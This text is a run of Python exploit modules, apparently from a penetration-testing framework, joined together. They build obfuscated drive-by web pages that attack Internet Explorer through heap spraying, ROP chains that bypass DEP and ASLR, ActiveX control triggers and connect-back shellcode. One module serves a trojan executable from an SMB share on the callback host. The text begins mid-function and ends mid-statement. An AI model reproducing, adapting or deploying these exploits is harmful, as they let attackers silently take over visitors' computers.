tmp="00000000".substring(0,8-tmp.length)+tmp; return unescape("%u"+tmp.substring(4,8) + "%u" + tmp.substring(0,4)); } function ie8_spray(obj, finalsize, chunksize, count){ chunksize/=2; //unicode chars finalsize/=2; //unicode chars var shellcode = unescape("SHELLCODE"); var chunkbase = obj + shellcode; while (chunkbase.length < chunksize) //alignment padding chunkbase+=unescape("%u4141"); while (chunkbase.length < finalsize) //big page size chunkbase+=chunkbase; var chunkbase1 = chunkbase.substring(0, finalsize/2); var chunkbase2 = chunkbase.substring(finalsize/2, finalsize-0x812); var arr = new Array(); arr[0] = chunkbase1 + chunkbase2; for (var i=1; i < count; i++) arr[i] = arr[0].substring(0, arr[0].length); return arr; } var obj=""; obj+=format_dword(0x09001024+0x60); //0x00 - mov eax, [ecx] obj+=format_dword(0x00000000); //0x04 obj+=format_dword(0x00000000); //0x08 obj+=format_dword(0x00000000); //0x0C obj+=format_dword(0x00000000); //0x10 obj+=format_dword(0x00000001); //0x14 - cmp dword ptr [ecx+18h],1/jz - True Branch obj+=format_dword(0x00000080); //0x18 - mov eax, [ecx+18h]/test al,al/jns - False Branch obj+=format_dword(0x09001024); //0x1C - mov ecx, [ecx+1Ch]/test ecx,ecx/jnz - True Branch obj+=format_dword(0x09001024); //0x20 - mov ecx, [ecx+20h] obj+=format_dword(0x00000000); //0x24 obj+=format_dword(0x00000000); //0x28 obj+=format_dword(0x00000000); //0x2C obj+=format_dword(0x00000000); //0x30 obj+=format_dword(0x00000000); //0x34 - test byte ptr [eax+34h], 2/jnz - False branch obj+=format_dword(0x00000000); //0x38 obj+=format_dword(0x00000000); //0x3C obj+=format_dword(0x00000000); //0x40 obj+=format_dword(0x00000000); //0x44 obj+=format_dword(0x00000000); //0x48 obj+=format_dword(0x00000000); //0x4C obj+=format_dword(0x00000000); //0x50 obj+=format_dword(0x00000000); //0x54 obj+=format_dword(0x00000000); //0x58 obj+=format_dword(0x09001024); //0x5C - mov eax, [esi+5Ch] //ROP obj+=format_dword(POPEAX); //0x60 obj+=format_dword(LoadLibraryA); //0x64 obj+=format_dword(MOVEAX,[EAX]RETEAX); //0x68 - after this: EAX = NTDLL base handle obj+=format_dword(0x00000000); //0x6C - SPARE obj+=format_dword(POPECX); //0x70 obj+=format_dword(0x09001024+0xBC); //0x74 - kernel32.dll string obj+=format_dword(0x09001024-0X24+0x9C); //0x78 - address to patch the ROP obj+=format_dword(POPEDI); //0x7C - just to get rid of the next dword obj+=format_dword(STACKPIVOT); //0x80 - mov edx, [eax+20h]/jmp edx (eax == +0x60) obj+=format_dword(MOV[ECX+24],EAX); //0x84 - patch ROP with kernel32 handle for GetProcAddress obj+=format_dword(POPEAX); //0x88 obj+=format_dword(GetProcAddress); //0x8C obj+=format_dword(MOVEAX,[EAX]RETEAX); //0x90 obj+=format_dword(0x00000000); //0x94 - SPARE obj+=format_dword(JMPEAX); //0x98 - EAX == VirtualProtect address obj+=format_dword(0xcafecafe); //0x9C - GetProcAddres 1st argument - kernel32 Handle obj+=format_dword(0x09001024+0xCC); //0xA0 - GetProcAddres 2nd argument - Proc Name obj+=format_dword(0x00000000); //0xA4 - SPARE obj+=format_dword(0x09001024+0xDC); //0xA8 - return to shellcode directly obj+=format_dword(0x09001000); //0xAC - VirtualProtect 1st Arg - Addr obj+=format_dword(0x00003000); //0xB0 - VirtualProtect 2nd Arg - Size obj+=format_dword(0x00000040); //0xB4 - VirtualProtect 3rd Arg - newprot obj+=format_dword(0x09001024); //0xB8 - VirtualProtect 4th Arg - oldprot ptr obj+=format_string("kernel32.dll"); //0xBC - zero ended, DWORD aligned obj+=format_string("VirtualProtect"); //0xCC - zero ended, DWORD aligned ref = ie8_spray(obj, 0x00100000, 0x1000, 0x80); elem = document.createElement("link"); elem.rel="stylesheet"; elem.type="text/css"; elem.href="anycssnameworks.css"; document.getElementsByTagName("head")[0].appendChild(elem); """ for k,v in replaces.iteritems(): js=js.replace(k,v) filedata+=self.jsObfuscator.obfuscate(js) filedata+=""" </script> </body> </html> """ return filedata def makecss(self): filedata=("@import url(" + self.cssname + ");")*self.number_of_imports return filedata.encode("utf-16") def makesploit(self,clientheader,clientbody): """ Construct the attack """ from libs.spkproxy import header, body h=header("SERVER") b=body() self.log("Request: "+clientheader.URL) if clientheader.URL.count(self.filename): #the exploit self.log("sending HTML") self.createShellcode() sploitstring=self.makefile() b.setBody(sploitstring) h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) h.addHeader("Content-Type","text/html") elif len(clientheader.URL) > 3: self.log("sending CSS") sploitstring=self.makecss() b.setBody(sploitstring) h.addHeader("Content-Type","text/css") else: #redirect to self self.log("redirecting to self") h.status="302" h.addHeader("Location",self.filename) h.addHeader("Content-Type","text/html") return h,b
class theexploit(wp_exploit, httpclientside): PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".htm" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.vProtect = True self.useRawShellcode = True self.payloadFilename = "".join( [random.choice(string.lowercase) for x in range(8)]) + '.exe' self.sharefilename = "\\" + "".join( [random.choice(string.lowercase) for x in range(4)]) + "\\" + self.payloadFilename return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): payload = "\\\\" + self.callback.ip + self.sharefilename filedata = """<html> <object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='target'/></object> <script language='vbscript'> target.ShowReport "PAYLOAD" </script> </html> """.replace('PAYLOAD', payload) return filedata def makesmb(self): self.log("WP> Starting wp_smbserver_backdoor to host payload") try: app = self.engine.getModuleExploit("wp_smbserver_backdoor") app.link(self) app.argsDict['sharefilename'] = self.sharefilename app.argsDict['trojanPayload'] = self.shellcode ret = app.run() except: self.log( "WP> Unable to start wp_smbserver_backdoor - port 443 already bound?" ) self.setInfo("WP> %s attacking %s:%d - completed (failed!)" % (NAME, self.host, self.port)) return None, None time.sleep(5) return def makesploit(self, clientheader, clientbody): self.createShellcode() self.makesmb() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): self.makesmb() filedata = self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (outputfile)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '\0' #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): # Exploit file landingAddress = pack('<L', 0x126A10C0) # Build our heapspray repeated block heapspraycode = pack('<L', 0x516116E3) # pop,retn 0c (For sliding) heapspraycode += pack('<L', 0x5161385C) # Stack Pivot (EAX->ESP) heapspraycode += pack('<L', 0x516116E3) # retn 0c (For sliding) heapspraycode += pack('<L', 0x5161385C) # Stack Pivot (EAX->ESP) depbypass = pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x516110F2) # RET depbypass += pack('<L', 0x5161B30C) # PUSH ESP, POP EDI depbypass += pack('<L', 0x5161B30C) # slackspace depbypass += pack('<L', 0x5162189F) # MOV EAX,EDI depbypass += pack('<L', 0x5162189F) # slackspace depbypass += pack('<L', 0x5162189F) # slackspace depbypass += pack('<L', 0x5162189F) # slackspace depbypass += pack('<L', 0x516250A4) # VA IAT depbypass += pack('<L', 0x5161188B) # POP EBX depbypass += pack('<L', 0x516218A1) # EBX (POP,POP,RET) depbypass += pack('<L', 0x51612460) # MOV EDX,DWORD PTR DS:[ESI], Call EBX depbypass += pack('<L', 0x51614CC1) # PUSH EAX,CALL EDX depbypass += pack('<L', 0x000007d0) # Size depbypass += pack('<L', 0x00001000) # Type depbypass += pack('<L', 0x00000040) # Protect depbypass += pack('<L', 0x5161B30C) # push esp, pop edi depbypass += pack('<L', 0x516106eb) # short jmp depbypass += pack('<L', 0x5161198C) # call edi depbypass += pack('<L', 0x51610aeb) # short jmp depbypass += wp_randomnops(12) filedata = """ <html> <body> <object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'> </object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); depbypass = unescape("DEPBYPASSCODE"); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += depbypass + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} target.extSetOwner(unescape('ADDRESS')); """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) script = script.replace('ADDRESS', wp_urluencode(landingAddress)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> </body> </html> """ return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit html file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): PAYLOADS = ["IE Inject Connect Back", "Execute Command"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.filename2 = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self, browser, osversion): if osversion == "Windows XP": if browser == "MSIE 8.0": self.log('WP> Serving Windows XP IE8 exploit') return self.makefileIE8_XP() if osversion == "Windows 7": if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_W7Vista() if browser == "MSIE 9.0": self.log('WP> Serving MSIE 9.0 exploit') return self.makefileIE9_W7Vista() if osversion == "Windows Vista": if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7_Vista() if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_W7Vista() if browser == "MSIE 9.0": self.log('WP> Serving MSIE 9.0 exploit') return self.makefileIE9_W7Vista() self.log('WP> Invalid target') return def makefileIE7_Vista(self): payload = "\x8B\xE0" # MOV ESP,EAX payload += "\x83\xC4\x11" # ADD ESP,11 payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5FA); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x82000) shellcode += shellcode; var block = shellcode.substring(0, (0x82000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) # Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefileIE8_W7Vista(self): payload = pack('<L', 0x7C343BD9) # ret payload += pack('<L', 0x7C343BD8) # pop edx payload += pack('<L', 0x7C348B05) # xchg eax, esp payload += self.wp_sayonaraASLRDEPBypass(len(self.shellcode) + 8) payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) # Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefileIE9_W7Vista(self): payload = pack('<L', 0x0c0c0c0c) payload += pack('<L', 0x7C343BD9) # ret payload += pack('<L', 0x7C343BD8) # pop edx payload += pack('<L', 0x7C348B05) # xchg eax, esp payload += self.wp_sayonaraASLRDEPBypass(len(self.shellcode) + 8) payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ function randomblock(blocksize){ var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x80000) nops += nops; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x2000))); while (padding.length < 0x2000) padding+= padding; var junk_offset = padding.substring(0, 0x5FC); var single_sprayblock = junk_offset + code + nops.substring(0, 0x1000 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) # Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefileIE8_XP(self): payload = pack('<L', 0x77C3B861) payload += pack('<L', 0x77C3B860) payload += pack('<L', 0x77C3A891) payload += self.wp_UniversalDEPBypassWinXP_VP( len(self.shellcode) + 512) payload += self.shellcode # heap chunk = 4096 bytes, canvas sc's vary between < & > 4096 so we add padding to consistantly use two chunks per block payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") #script code script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) #Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script filedata += """</script> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefile2(self): filedata = """<html> <script> function funcB() { document.execCommand("selectAll"); }; function funcA() { document.write("%s"); parent.arrr[0].src = "%s\\u0c08\\u0c0c%s"; } </script> <body onload='funcB();' onselect='funcA()'> <div contenteditable='true'> . </div> </body> </html> """ % (wp_randomstring(1), wp_randomstring(4), wp_randomstring(58)) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') if clientheader.URL.count(self.filename): data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif clientheader.URL.count(self.filename2): self.log('WP> Serving Exploit Stage 2') data = self.makefile2() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): self.log('WP> This module must be run via HTTPSERVER') return 0
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version=0 self.name=NAME self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.language = "" #"en-us" # uncomment this to default to English version self.plugin_info = None # we want clientd to give us a plugin dict #HTTPMOSDEF shellcode is 2100 bytes or so - our shellcode space is 2044 or so. #XXX: We need to switch to SearchCode? self.nohttpmosdef = True return # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run, in this case, it means "running IE6". """ if "MSIE 6" in info_dict['user_agent']: #found language, and is IE6 #high value because it is reliable and recent, will works on XP self.log("Found vulnerable target") return 90 else: self.log("Not IE 6 - possibly vulnerable, but not to this exploit") self.log("User Agent: %s"%info_dict.get("user_agent")) #not ie 6 or we don't have the language return 0 def makefile(self, request_header=None): """ Makes the exploit HTML """ self.getArgs() if request_header: self.log("Checking IE version from Request Header") if "MSIE 6" in request_header.getHeaderValue("User-Agent"): self.log("IE 6 detected") else: self.log("Not IE 6, try with other exploit") return "" if not hasattr(self, "shellcode") or not self.shellcode: self.log("Regenerating shellcode in makefile") self.createShellcode() filedata="""<html> <body> <script language="JavaScript"> """ script = """ function spray() { var array = new Array(); var ls = 0x7F0000; var shellcode = unescape("%u9090%u9090%u9090") + unescape("SHELLCODE"); var t = unescape("%u0d0d"); var b = unescape("%u0d0d"); while(b.length < (0x7fc-shellcode.length)) { b+=t; } b = b + shellcode; b = b.substring(0,b.length); while(b.length < ls/2) { b += b } var lh = b.substring(0,ls/2); delete b; for(i=0;i<270;i++) { array[i] = lh + lh + shellcode; } return array; } function hexa(val) { var str=new Number(val).toString(16); while (str.length < 4) str = "0" + str; return str; } function myescape(addr) { var str=""; str="%u"+hexa(addr&0xffff)+"%u"+hexa((addr>>16)&0xffff); return str; } function build_exploit() { sp = spray(); document.write("<table style=position:absolute;clip:rect(0)>"); } build_exploit() """ script = script.replace('SHELLCODE',urluencode(self.shellcode)) filedata += self.jsObfuscator.obfuscate(script) filedata += """ </script> </body> </html> """ return filedata # 0x75c9c2b9 def makesploit(self,clientheader,clientbody): from libs.spkproxy import header,body h=header('SERVER') b=body() if self.plugin_info: info_dict=self.plugin_info self.log("We got a plugin info for this target - thanks clientd!") if self.is_vulnerable(self.plugin_info): self.log("This client is most likely vulnerable!") #check for IE 6 if info_dict['user_agent'].count('MSIE 6'): self.msie6 = True else: self.msie6 = False else: self.log("Bailing on this client as it is not likely to be vulnerable (%s)"%self.plugin_info.get("language")) return None, None if clientheader.URL.count(self.filename): self.log('Serving HTML file') self.createShellcode() sploitstring=self.makefile(request_header = clientheader) b.setBody(sploitstring) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): self.host=self.target.interface self.getarg("filename") self.getarg("language") return def run(self): self.getArgs() # Build the html that triggers the vulnerability filedata=self.makefile() self.log('Opening %s for output'%(self.filename)) fd=file(self.filename,'wb+') fd.write(filedata) fd.close() self.log('Wrote to %s'%(self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS=["IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command"] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True self.isClientD = False self.badstring = "\x00" #Ranomisze name for clientd self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] #it's a list in actuality self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self,'useSSLMOSDEF',False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def makefile(self): # Make the exploit file #Base filedata filedata="""<html><body> <object classid="clsid:39344399-FEF9-467E-835E-B994B021DEB6"></object> """ filedata += """<script language="JavaScript">""" #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); var heapspray = unescape("%u6e1f%u7c36%u10FD%u7c34"); var len= shellcode.length + 0x21; //0x21 is heap header while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- length); depbypass = unescape("%u4cc2%u7c34") depbypass = depbypass + 